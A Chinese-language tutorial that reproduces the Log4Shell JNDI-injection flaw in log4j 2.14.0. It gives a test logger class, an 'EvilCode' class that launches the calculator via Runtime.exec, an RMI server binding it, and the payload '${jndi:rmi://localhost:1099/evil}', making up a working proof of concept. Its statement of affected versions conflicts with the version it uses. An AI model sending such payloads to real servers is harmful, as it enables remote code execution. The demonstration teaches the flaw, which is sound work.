在log4j 2.14.0之前的版本存在此漏洞。
首先导入依赖
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version>
</dependency>
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version>
</dependency>
编写测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {private static final Logger log = LogManager.getLogger(TestLog4j.class);public static void main(String[] args) {test("hello world");test("${java:version}");}public static void test(String username){// 一段普通的打印错误日志的代码,{}是占位符log.error("print userName:{}",username);}}
# 输出结果如下,可以看到日志将系统版本信息输出了。
00:04:24.278 [main] ERROR com.zxh.test.TestLog4j - print userName:hello world
00:04:24.280 [main] ERROR com.zxh.test.TestLog4j - print userName:Windows 10 10.0, architecture: amd64-64
00:04:24.280 [main] ERROR com.zxh.test.TestLog4j - print userName:Java version 1.8.0_152
如此就已经实现了远程执行脚本,有点类似sql注入。当然如此的执行脚本还只是恶作剧。
RMI远程过程调用
首先写一个RMI服务端。
// 此处以win10本机为例,准备了一段java执行打开计算器的脚本
public class EvilCode {static {System.out.println("EvilCode");try {for (int i = 0; i < 2; i++) {Runtime.getRuntime().exec("calc");}}catch (Exception e){throw new RuntimeException(e);}}public static void main(String[] args) {new EvilCode();}
}
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {// 启动一个RMIServerpublic static void main(String[] args) {try {// 创建一个远程对象,并将其注册到RMI注册表中// 获取RMI注册表的实例,并绑定名称LocateRegistry.createRegistry(1099);Registry registry = LocateRegistry.getRegistry();System.out.println("RMI注册表已创建");Reference reference = new Reference("com.zxh.test.EvilCode", "com.zxh.test.EvilCode", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("evil", referenceWrapper);}catch (Exception e){e.printStackTrace();}}
}
启动RMIServer。然后只需要将传入的参数修改成如下示例即可
public static void main(String[] args) {test("${jndi:rmi://localhost:1099/evil}");}